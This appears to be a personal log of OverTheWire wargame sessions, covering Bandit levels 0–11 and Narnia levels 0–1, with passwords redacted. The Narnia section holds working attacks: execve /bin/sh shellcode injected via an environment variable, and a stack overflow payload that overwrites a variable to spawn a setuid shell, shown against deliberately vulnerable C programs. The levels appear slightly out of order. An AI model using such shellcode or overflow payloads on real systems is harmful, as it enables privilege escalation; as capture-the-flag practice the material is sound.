EverTokki

[SSH] Logged in (password)

bandit0@melinda:~$ ls

readme

bandit0@melinda:~$ cat readme

<password>

[SSH] Logged in (password)

bandit1@melinda:~$ ls

-

bandit1@melinda:~$ cat ./-

<password>

[SSH] Logged in (password)

bandit2@melinda:~$ ls

spaces in this filename

bandit2@melinda:~$ cat "spaces in this filename"

<password>

[SSH] Logged in (password)

bandit3@melinda:~$ ls

inhere

bandit3@melinda:~$ cd inhere

bandit3@melinda:~/inhere$ ls

bandit3@melinda:~/inhere$ ls -al

total 12

drwxr-xr-x 2 root    root    4096 Jun  6  2013 .

drwxr-xr-x 3 root    root    4096 Jun  6  2013 ..

-rw-r----- 1 bandit4 bandit3   33 Jun  6  2013 .hidden

bandit3@melinda:~/inhere$ cat .hidden

<password>

[SSH] Logged in (password)

bandit4@melinda:~$ ls

inhere

bandit4@melinda:~$ cd inhere

bandit4@melinda:~/inhere$ ls

-file00  -file01  -file02  -file03  -file04  -file05  -file06  -file07  -file08  -file09

bandit4@melinda:~/inhere$ cat ./-file04

[¢±B°

     §&6]‡U³w޽RZ!N™ohbandit4@melinda:~/inhere$ cat ./-file05

÷)ñ©'߳elš?-p#s¥•~$+øøŒ©bandit4@melinda:~/inhere$ cat ./-file06

¯<ÛDjüN#C|0™|§ ‰Tµ®ˆ„G±@àábandit4@melinda:~/inhere$ cat ./-file08

ŽŠññdCgˆb.<ê"Q 2Bö÷­{‘–é3Sbandit4@melinda:~/inhere$ cat ./-file09

—~іœ ‹õõ|±M^߮-%ƌ

³–¿²"^±kUbandit4@melinda:~/inhere$ cat ./-file07

<password>

[SSH] Logged in (password)

bandit5@melinda:~$ ls

inhere

bandit5@melinda:~$ cd inhere

bandit5@melinda:~/inhere$ find -size 1033c

./maybehere07/.file2

bandit5@melinda:~/inhere$ cat ./maybehere07/.file2

[SSH] Logged in (password)

bandit6@melinda:~$ ls

bandit6@melinda:~$ ls -al

total 20

drwxr-xr-x   2 root root 4096 Jun  6  2013 .

drwxr-xr-x 160 root root 4096 Oct 17  2013 ..

-rw-r--r--   1 root root  220 Apr  3  2012 .bash_logout

-rw-r--r--   1 root root 3486 Apr  3  2012 .bashrc

-rw-r--r--   1 root root  675 Apr  3  2012 .profile

bandit6@melinda:/home$ find -size 33c

./bandit21/.prevpass

./bandit15/.bandit14.password

find: `./bandit5/inhere': Permission denied

[...]

find: `/root': Permission denied

bandit6@melinda:/home$ find / -size 33c -user bandit7 -group bandit6 2>&1 | grep -v 'Permission denied'

/var/lib/dpkg/info/bandit7.password

bandit6@melinda:/home$ cat /var/lib/dpkg/info/bandit7.password

<password>

[SSH] Logged in (password)

bandit7@melinda:~$ ls

data.txt

<Opened the file, almost died>

bandit7@melinda:~$ grep "millionth" data.txt

millionth <password>

[SSH] Logged in (password)

bandit8@melinda:~$ ls

data.txt

bandit8@melinda:~$ sort data.txt | uniq -u

<password>

[SSH] Logged in (password)

bandit9@melinda:~$ ls

data.txt

bandit9@melinda:~$ cat data.txt

<look through file, found the password at first glance>

[SSH] Logged in (password)

bandit10@melinda:~$ ls

data.txt

bandit10@melinda:~$ cat data.txt

VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg==

bandit10@melinda:~$ echo VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg== | base64 --decode

<password>

[SSH] Logged in (password)

bandit11@melinda:~$ ls

data.txt

bandit11@melinda:~$ cat data.txt | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]'

<password>

l\narnia1@melinda:~$ cd /narnia

narnia1@melinda:/narnia$ ls

narnia0    narnia1    narnia2    narnia3    narnia4    narnia5    narnia6    narnia7    narnia8

narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c  narnia8.c

narnia1@melinda:/narnia$ cat narnia1.c

#include <stdio.h>

int main(){

        int (*ret)();

        if(getenv("EGG")==NULL){

                printf("Give me something to execute at the env-variable EGG\n");

                exit(1);

        }

        printf("Trying to execute EGG!\n");

        ret = getenv("EGG");

        ret();

        return 0;

}

narnia1@melinda:/narnia$ export EGG=`perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

narnia1@melinda:/narnia$ ./narnia1

Trying to execute EGG!

$ whoami

narnia2

$ id

uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)

$ cat /etc/narnia_pass/narnia2

$

narnia0@melinda:~$ ls -al

total 20

drwxr-xr-x   2 root root 4096 Jun  6  2013 .

drwxr-xr-x 160 root root 4096 Oct 17  2013 ..

-rw-r--r--   1 root root  220 Apr  3  2012 .bash_logout

-rw-r--r--   1 root root 3486 Apr  3  2012 .bashrc

-rw-r--r--   1 root root  675 Apr  3  2012 .profile

narnia0@melinda:~$ cd /narnia

narnia0@melinda:/narnia$ ls

narnia0    narnia1    narnia2    narnia3    narnia4    narnia5    narnia6    narnia7    narnia8

narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c  narnia8.c

narnia0@melinda:/narnia$ cat narnia0.c

#include <stdio.h>

#include <stdlib.h>

int main(){

        long val=0x41414141;

        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");

        printf("Here is your chance: ");

        scanf("%24s",&buf);

        printf("buf: %s\n",buf);

        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)

                system("/bin/sh");

        else {

                printf("WAY OFF!!!!\n");

                exit(1);

        }

        return 0;

}

narnia0@melinda:/narnia$ ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: a

buf: a

val: 0x41414141

WAY OFF!!!!

narnia0@melinda:/narnia$ (perl -e 'print "\x90"x20, "\xef\xbe\xad\xde"';cat)|./narnia0 

Correct val's value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: ﾭ

val: 0xdeadbeef

ls

narnia0    narnia1    narnia2    narnia3    narnia4    narnia5    narnia6    narnia7    narnia8

narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c  narnia8.c

cat key

cat: key: No such file or directory

whoami

narnia1

cat /etc/narnia_pass/narnia1